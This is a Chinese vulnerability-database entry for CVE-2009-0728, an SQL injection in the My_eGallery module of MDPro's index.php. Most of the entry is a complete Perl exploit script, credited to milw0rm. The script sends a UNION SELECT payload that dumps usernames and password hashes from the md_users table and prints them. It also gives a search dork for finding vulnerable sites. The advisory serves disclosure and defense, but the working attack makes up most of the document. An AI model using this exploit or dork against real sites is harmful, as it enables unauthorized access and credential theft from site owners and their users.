Maxdev MDPro My_eGallery模块pid参数SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117412 漏洞类型 SQL注入
发布时间 2009-02-23 更新时间 2009-02-25
CVE编号 CVE-2009-0728 CNNVD-ID CNNVD-200902-685
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8100
https://cxsecurity.com/issue/WLB-2009020272
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-685
|漏洞详情
MDPro是一款开放源码的内容管理系统。MDPro的index.php文件没有正确地过滤对pid参数的输入参数,如果module设置为My_eGallery且do设置为showpic,远程攻击者就可以通过提交恶意请求执行SQL注入攻击。
|漏洞EXP
#!/usr/bin/perl

<<read;

    MDPro Module My_eGallery Remote SQL Injection Exploit
    by s3rg3770 && yeat - staker[at]hotmail[dot]it
    
    dork: inurl:module=My_eGallery pid
    note: works regardless of php.ini settings.
    
read

use IO::Socket;


my ($host,$path,$id) = @ARGV;


if (@ARGV != 3) 
{
       print "\n+-------------------------------------------------------+\n".
             "\r| MDPro Module My_eGallery Remote SQL Injection Exploit |\n".
             "\r+-------------------------------------------------------+\n".
             "\rby yeat - staker[at]hotmail[dot]it\n".
             "\nUsage: perl $0 host /path/ id\n".
             "\nhost: localhost\n".
             "\rpath: /mdpro/\n".
             "\rid: 2\n";
       exit;
}         
else
{      
       my ($packet,$inject,$content);
       
       $inject = "index.php?module=My_eGallery&do=showpic&pid=-1".
                 "/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/0".
                 ",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat(0x3C7".
                 "230783E,pn_uname,0x3a,pn_pass,0x3C7230783E),0".
                 ",0,0/**/FROM/**/md_users/**/WHERE/**/pn_uid=$id/*"; 
                 
       $socket = new IO::Socket::INET(
                                       PeerAddr => $host,
                                       PeerPort => 80,
                                       Proto    => 'tcp'
                                     ) or die $!;
                                        
       
       $packet .= "GET /$inject HTTP/1.1\r\n";
       $packet .= "Host: $host\r\n";
       $packet .= "User-Agent: Lynx (textmode)\r\n";
       $packet .= "Connection: close\r\n\r\n";
       
       $socket->send($packet);
       
       while (<$socket>) {
          $content .= $_;
       }
       
       close($socket);
       
       if ($content =~ /<r0x>(.+?)<r0x>/i) {
          print "Exploit Successful: $1\n";
       }
       else {
          print "Exploit Failed.\n";
       }      
}       

# milw0rm.com [2009-02-23]
|参考资料

来源:BID
名称:33871
链接:http://www.securityfocus.com/bid/33871
来源:MILW0RM
名称:8100
链接:http://www.milw0rm.com/exploits/8100